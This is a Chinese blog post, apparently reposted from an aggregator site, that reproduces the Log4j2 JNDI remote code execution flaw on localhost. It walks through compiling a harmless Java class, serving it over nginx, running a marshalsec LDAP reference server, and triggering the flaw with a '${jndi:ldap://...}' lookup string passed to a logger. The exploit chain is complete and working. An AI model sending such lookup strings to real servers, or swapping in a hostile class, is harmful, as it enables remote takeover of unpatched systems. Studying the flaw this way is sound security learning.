概述
Log4j2漏洞复现
一、前言
最近Log4j2的漏洞算是刷屏了。博主也就跟风学习了一下,虽不说开发能力有啥提升,但是也算是学了点知识吧。这次就分享一下Log4j2漏洞的复现场景,以供大家参考。
二、参考文章
- Apache Log4j2远程代码执行漏洞
本文的示例也都是按照这里面敲的,文章还有很多大佬评论大家可以多看看
三、漏洞触发流程图
这里使用LDAP服务进行演示
解释:Web服务为受害者对象,LDAP和HTTP服务为攻击者对象。
一句话概括:攻击者利用log4j2的JNDI技术发送恶意请求,使受害者获取自己的恶意字节码文件并执行。
四、代码复现
- 书写一个恶意字节码文件并用Javac进行编译
public class Log4jRCE {
static {
System.out.println("I am Log4jRCE from remote!!!");
}
}
javac Log4jRCE.java
获得这个字节码文件
- 启动nginx并把class文件放入nginx的html文件夹,可以通过
http://ip:port/file.class
进行获取
start nginx
浏览器数据http://127.0.0.1:8000/Log4jRCE.class
可以获取该字节码文件
- 启动LDAP服务器,暴漏这个字节码文件
git clone git@github.com:bkfish/Apache-Log4j-Learning.git
cd Apache-Log4j-Learning/tools
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Log4jRCE"
- 模拟一个server执行
log.error()
观察运行结果
写一个RunApp.class
public class RunApp {
private static final Logger logger = LogManager.getLogger(BugCode.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
}
}
启动结果为
会发现有一个“I am Log4jRCE from remote!!!”就是远程class文件的逻辑
最后
以上就是虚心小猫咪为你收集整理的Log4j2漏洞复现Log4j2漏洞复现的全部内容,希望文章能够帮你解决Log4j2漏洞复现Log4j2漏洞复现所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复